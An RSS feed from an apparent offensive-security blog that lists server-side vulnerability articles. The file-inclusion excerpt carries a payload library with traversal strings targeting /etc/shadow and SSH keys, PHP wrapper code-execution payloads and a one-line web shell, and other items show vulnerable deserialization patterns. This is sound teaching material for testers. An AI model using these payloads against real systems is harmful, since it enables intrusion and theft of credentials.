<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Server-Side on MrAzoth</title>
    <link>https://az0th.it/web/server/</link>
    <description>Recent content in Server-Side on MrAzoth</description>
    <generator>Hugo -- 0.154.5</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 24 Feb 2026 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://az0th.it/web/server/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>File Inclusion (LFI / RFI)</title>
      <link>https://az0th.it/web/server/072-server-file-inclusion-lfi-rfi/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/072-server-file-inclusion-lfi-rfi/</guid>
      <description>&lt;h1 id=&#34;file-inclusion-lfi--rfi&#34;&gt;File Inclusion (LFI / RFI)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-98, CWE-22
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-file-inclusion&#34;&gt;What Is File Inclusion?&lt;/h2&gt;
&lt;p&gt;PHP and other server-side languages allow dynamic file inclusion via &lt;code&gt;include()&lt;/code&gt;, &lt;code&gt;require()&lt;/code&gt;, &lt;code&gt;include_once()&lt;/code&gt;, &lt;code&gt;require_once()&lt;/code&gt;. When the included filename is attacker-controlled:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; — read local files, potentially execute code via log poisoning or PHP wrappers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RFI (Remote File Inclusion)&lt;/strong&gt; — include remote URL as PHP code (requires &lt;code&gt;allow_url_include=On&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// Vulnerable code patterns:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;include&lt;/span&gt;($_GET[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;page&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.php&amp;#34;&lt;/span&gt;);       &lt;span style=&#34;color:#75715e&#34;&gt;// append .php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;include&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;pages/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; $_GET[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;template&amp;#39;&lt;/span&gt;]); &lt;span style=&#34;color:#75715e&#34;&gt;// prefix + user input
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;require&lt;/span&gt;($_POST[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;module&amp;#39;&lt;/span&gt;]);              &lt;span style=&#34;color:#75715e&#34;&gt;// full control
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;discovery-checklist&#34;&gt;Discovery Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Find parameters that load file paths: &lt;code&gt;page=&lt;/code&gt;, &lt;code&gt;file=&lt;/code&gt;, &lt;code&gt;template=&lt;/code&gt;, &lt;code&gt;lang=&lt;/code&gt;, &lt;code&gt;module=&lt;/code&gt;, &lt;code&gt;include=&lt;/code&gt;, &lt;code&gt;path=&lt;/code&gt;, &lt;code&gt;view=&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test basic traversal: &lt;code&gt;../../../etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test with and without extension appending (does error show extension?)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test PHP wrappers: &lt;code&gt;php://filter&lt;/code&gt;, &lt;code&gt;php://input&lt;/code&gt;, &lt;code&gt;data://&lt;/code&gt;, &lt;code&gt;expect://&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test null byte termination for PHP &amp;lt; 5.3.4: &lt;code&gt;../../../etc/passwd%00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test path normalization: &lt;code&gt;....//....//....//etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test log poisoning → LFI to RCE&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check error messages for absolute path disclosure&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test RFI if app allows external URLs&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test &lt;code&gt;/proc/self/environ&lt;/code&gt; poisoning via User-Agent&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test &lt;code&gt;/proc/self/fd/[n]&lt;/code&gt; for open file descriptor log access&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test ZIP/PHAR wrappers for LFI to RCE&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;payload-library&#34;&gt;Payload Library&lt;/h2&gt;
&lt;h3 id=&#34;payload-1--basic-lfi-path-traversal&#34;&gt;Payload 1 — Basic LFI Path Traversal&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Linux targets:
../../../etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../etc/hostname
../../../proc/version
../../../proc/self/cmdline
../../../proc/self/environ
../../../var/log/apache2/access.log
../../../var/log/apache2/error.log
../../../var/log/nginx/access.log
../../../var/log/auth.log
../../../var/log/mail.log
../../../home/USER/.bash_history
../../../home/USER/.ssh/id_rsa
../../../root/.bash_history
../../../root/.ssh/id_rsa
../../../etc/mysql/my.cnf
../../../etc/php/php.ini
../../../var/www/html/config.php

# Windows targets:
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\inetpub\wwwroot\web.config
..\..\..\xampp\apache\conf\httpd.conf
C:\windows\win.ini
C:\inetpub\wwwroot\web.config

# URL-encoded variants:
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd    # double-encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd  # overlong UTF-8

# Null byte (PHP &amp;lt; 5.3.4) — truncate extension append:
../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd\0

# Dot truncation (Windows, long paths) — extension gets cut off:
../../../windows/win.ini..........[add many dots/spaces]

# Extra dot/slash normalization bypass:
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
..././..././..././etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;payload-2--php-wrappers&#34;&gt;Payload 2 — PHP Wrappers&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# php://filter — read file source without executing (base64):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;php://filter/convert.base64-encode/resource&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;index.php
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;php://filter/convert.base64-encode/resource&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;../config.php
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;php://filter/read&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;string.rot13/resource&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;index.php
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;php://filter/convert.iconv.utf-8.utf-16/resource&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;index.php
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Decode base64 output:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;BASE64_OUTPUT&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# php://filter chains (PHP 8 / newer — multiple filters):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;php://filter/convert.iconv.UTF-8.UTF-32|convert.base64-encode/resource&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# php://input — execute POST body as PHP (requires allow_url_include or include):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Send: include(&amp;#39;php://input&amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# POST body: &amp;lt;?php system($_GET[&amp;#39;cmd&amp;#39;]); ?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# data:// wrapper — inline code execution:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;data://text/plain,&amp;lt;?php system&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# base64 of: &amp;lt;?php system(&amp;#39;id&amp;#39;);?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# expect:// — direct command execution (requires expect extension):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;expect://id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;expect://whoami
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;expect://cat+/etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# zip:// wrapper — execute PHP in a ZIP archive:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Create: echo &amp;#34;&amp;lt;?php system($_GET[&amp;#39;cmd&amp;#39;]); ?&amp;gt;&amp;#34; &amp;gt; shell.php &amp;amp;&amp;amp; zip shell.zip shell.php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;zip://path/to/uploaded/shell.zip%23shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# phar:// wrapper — PHAR deserialization (see 20_Deser_PHP.md):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;phar://path/to/uploaded/file.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Combining wrappers:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;php://filter/convert.base64-decode/resource&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;data://text/plain,PD9waHAgcGhwaW5mbygpOz8+
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;payload-3--log-poisoning--lfi-to-rce&#34;&gt;Payload 3 — Log Poisoning → LFI to RCE&lt;/h3&gt;
&lt;p&gt;Poison a log file with PHP code via a user-controlled field, then include the log file.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Insecure Deserialization — .NET</title>
      <link>https://az0th.it/web/server/076-server-deser-dotnet/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/076-server-deser-dotnet/</guid>
      <description>&lt;h1 id=&#34;insecure-deserialization--net&#34;&gt;Insecure Deserialization — .NET&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-502
&lt;strong&gt;OWASP&lt;/strong&gt;: A08:2021 – Software and Data Integrity Failures&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-net-deserialization&#34;&gt;What Is .NET Deserialization?&lt;/h2&gt;
&lt;p&gt;.NET has multiple serialization formats and deserializers — each with different gadget chains. The most dangerous are &lt;code&gt;BinaryFormatter&lt;/code&gt; and &lt;code&gt;SoapFormatter&lt;/code&gt; (both removed/disabled in .NET 5+), but many legacy applications still use them. JSON.NET (&lt;code&gt;Newtonsoft.Json&lt;/code&gt;) is vulnerable to &lt;strong&gt;type confusion&lt;/strong&gt; when &lt;code&gt;TypeNameHandling&lt;/code&gt; is set insecurely.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;BinaryFormatter:  binary format — .NETSEC magic bytes: 00 01 00 00 00
SoapFormatter:    XML/SOAP format — &amp;lt;SOAP-ENV:Envelope&amp;gt;
LosFormatter:     ViewState format — /w...
ObjectStateFormatter: ASP.NET ViewState (HMAC-signed but weak key)
JSON.NET:         {&amp;#34;$type&amp;#34;:&amp;#34;System.Windows.Data.ObjectDataProvider,...&amp;#34;}
DataContractSerializer: XML with type hints
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;ysoserial.net&lt;/strong&gt; is the primary tool — equivalent of ysoserial for Java.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Insecure Deserialization — Node.js</title>
      <link>https://az0th.it/web/server/077-server-deser-nodejs/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/077-server-deser-nodejs/</guid>
      <description>&lt;h1 id=&#34;insecure-deserialization--nodejs&#34;&gt;Insecure Deserialization — Node.js&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-502
&lt;strong&gt;OWASP&lt;/strong&gt;: A08:2021 – Software and Data Integrity Failures&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-nodejs-deserialization&#34;&gt;What Is Node.js Deserialization?&lt;/h2&gt;
&lt;p&gt;Unlike Java/PHP, Node.js doesn&amp;rsquo;t have a single dominant serialization format. Vulnerabilities arise in:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;node-serialize&lt;/code&gt;&lt;/strong&gt; — uses IIFE pattern (&lt;code&gt;_$$ND_FUNC$$_&lt;/code&gt;) to embed executable functions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cryo&lt;/code&gt;&lt;/strong&gt; — serializes functions, exploitable via custom class injection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;serialize-javascript&lt;/code&gt;&lt;/strong&gt; — meant for safe serialization but misused&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__proto__&lt;/code&gt; pollution via JSON.parse&lt;/strong&gt; — not deserialization per se but JSON-triggered prototype pollution&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;vm&lt;/code&gt; module escape&lt;/strong&gt; — sandbox breakout when deserializing into vm context&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cookie/session forgery&lt;/strong&gt; — &lt;code&gt;express-session&lt;/code&gt; with weak secret, &lt;code&gt;cookie-parser&lt;/code&gt; with known secret&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// node-serialize vulnerable pattern:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;serialize&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;require&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;node-serialize&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;cookieParser&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;parse&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;req&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;headers&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;cookie&lt;/span&gt;)[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;profile&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;obj&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;serialize&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;unserialize&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;);  &lt;span style=&#34;color:#75715e&#34;&gt;// ← RCE if IIFE in data
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;discovery-checklist&#34;&gt;Discovery Checklist&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Phase 1 — Identify Serialization&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Insecure Deserialization — Python</title>
      <link>https://az0th.it/web/server/075-server-deser-python/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/075-server-deser-python/</guid>
      <description>&lt;h1 id=&#34;insecure-deserialization--python&#34;&gt;Insecure Deserialization — Python&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-502
&lt;strong&gt;OWASP&lt;/strong&gt;: A08:2021 – Software and Data Integrity Failures&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-the-attack-surface&#34;&gt;What Is the Attack Surface?&lt;/h2&gt;
&lt;p&gt;Python&amp;rsquo;s deserialization ecosystem is broader than most developers realize. Beyond the infamous &lt;code&gt;pickle&lt;/code&gt;, there are &lt;code&gt;PyYAML&lt;/code&gt;, &lt;code&gt;marshal&lt;/code&gt;, &lt;code&gt;shelve&lt;/code&gt;, &lt;code&gt;jsonpickle&lt;/code&gt;, &lt;code&gt;ruamel.yaml&lt;/code&gt;, &lt;code&gt;dill&lt;/code&gt;, &lt;code&gt;pandas.read_pickle()&lt;/code&gt;, and even &lt;code&gt;numpy.load()&lt;/code&gt;. Each has distinct exploitation characteristics.&lt;/p&gt;
&lt;p&gt;The core issue: these formats encode object &lt;em&gt;type information&lt;/em&gt; alongside data. During deserialization, the runtime reconstructs arbitrary objects — and crafted payloads can execute code during that reconstruction.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Java Deserialization</title>
      <link>https://az0th.it/web/server/073-server-deser-java/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/073-server-deser-java/</guid>
      <description>&lt;h1 id=&#34;java-deserialization&#34;&gt;Java Deserialization&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-502
&lt;strong&gt;OWASP&lt;/strong&gt;: A08:2021 – Software and Data Integrity Failures&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-java-deserialization&#34;&gt;What Is Java Deserialization?&lt;/h2&gt;
&lt;p&gt;Java&amp;rsquo;s native serialization converts objects to a byte stream (serialize) and back to objects (deserialize). When an application deserializes &lt;strong&gt;attacker-controlled data&lt;/strong&gt;, the attacker can provide a crafted byte stream that, when deserialized, executes arbitrary code — even before the application logic has a chance to inspect the data.&lt;/p&gt;
&lt;p&gt;The execution happens through &lt;strong&gt;gadget chains&lt;/strong&gt;: sequences of existing library classes whose methods, when invoked in sequence during deserialization, result in OS command execution. The attacker doesn&amp;rsquo;t inject new code — they exploit existing code already on the classpath.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Path Traversal / Directory Traversal</title>
      <link>https://az0th.it/web/server/071-server-path-traversal/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/071-server-path-traversal/</guid>
      <description>&lt;h1 id=&#34;path-traversal--directory-traversal&#34;&gt;Path Traversal / Directory Traversal&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High–Critical
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-22
&lt;strong&gt;OWASP&lt;/strong&gt;: A01:2021 – Broken Access Control&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-path-traversal&#34;&gt;What Is Path Traversal?&lt;/h2&gt;
&lt;p&gt;Path Traversal (also known as Directory Traversal or &lt;code&gt;../&lt;/code&gt; attack) occurs when user-controlled input is used to construct a &lt;strong&gt;filesystem path&lt;/strong&gt; without proper sanitization, allowing the attacker to read (or write) files outside the intended directory.&lt;/p&gt;
&lt;p&gt;The canonical payload is &lt;code&gt;../&lt;/code&gt; — traversing one directory level up. Chained enough times, it reaches the root of the filesystem and can access any readable file: credentials, source code, private keys, configurations, OS files.&lt;/p&gt;</description>
    </item>
    <item>
      <title>PHP Object Deserialization</title>
      <link>https://az0th.it/web/server/074-server-deser-php/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/074-server-deser-php/</guid>
      <description>&lt;h1 id=&#34;php-object-deserialization&#34;&gt;PHP Object Deserialization&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-502
&lt;strong&gt;OWASP&lt;/strong&gt;: A08:2021 – Software and Data Integrity Failures&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-php-deserialization&#34;&gt;What Is PHP Deserialization?&lt;/h2&gt;
&lt;p&gt;PHP&amp;rsquo;s &lt;code&gt;unserialize()&lt;/code&gt; converts a serialized string back into a PHP object. If attacker-controlled data reaches &lt;code&gt;unserialize()&lt;/code&gt;, the attacker can instantiate arbitrary classes. PHP &lt;strong&gt;automatically calls magic methods&lt;/strong&gt; on deserialized objects:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;__wakeup()    → called on unserialize
__destruct()  → called when object is garbage collected
__toString()  → called when object used as string
__call()      → called when invoking inaccessible method
__get()       → called when reading inaccessible property
__set()       → called when writing inaccessible property
__invoke()    → called when object used as function
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A &lt;strong&gt;POP chain&lt;/strong&gt; (Property-Oriented Programming) links multiple classes whose magic methods call each other, ultimately reaching a dangerous sink (file write, shell exec, SQL query, etc.).&lt;/p&gt;</description>
    </item>
    <item>
      <title>Prototype Pollution (Server-Side / Node.js)</title>
      <link>https://az0th.it/web/server/078-server-proto-pollution/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/078-server-proto-pollution/</guid>
      <description>&lt;h1 id=&#34;prototype-pollution-server-side--nodejs&#34;&gt;Prototype Pollution (Server-Side / Node.js)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-1321
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-server-side-prototype-pollution&#34;&gt;What Is Server-Side Prototype Pollution?&lt;/h2&gt;
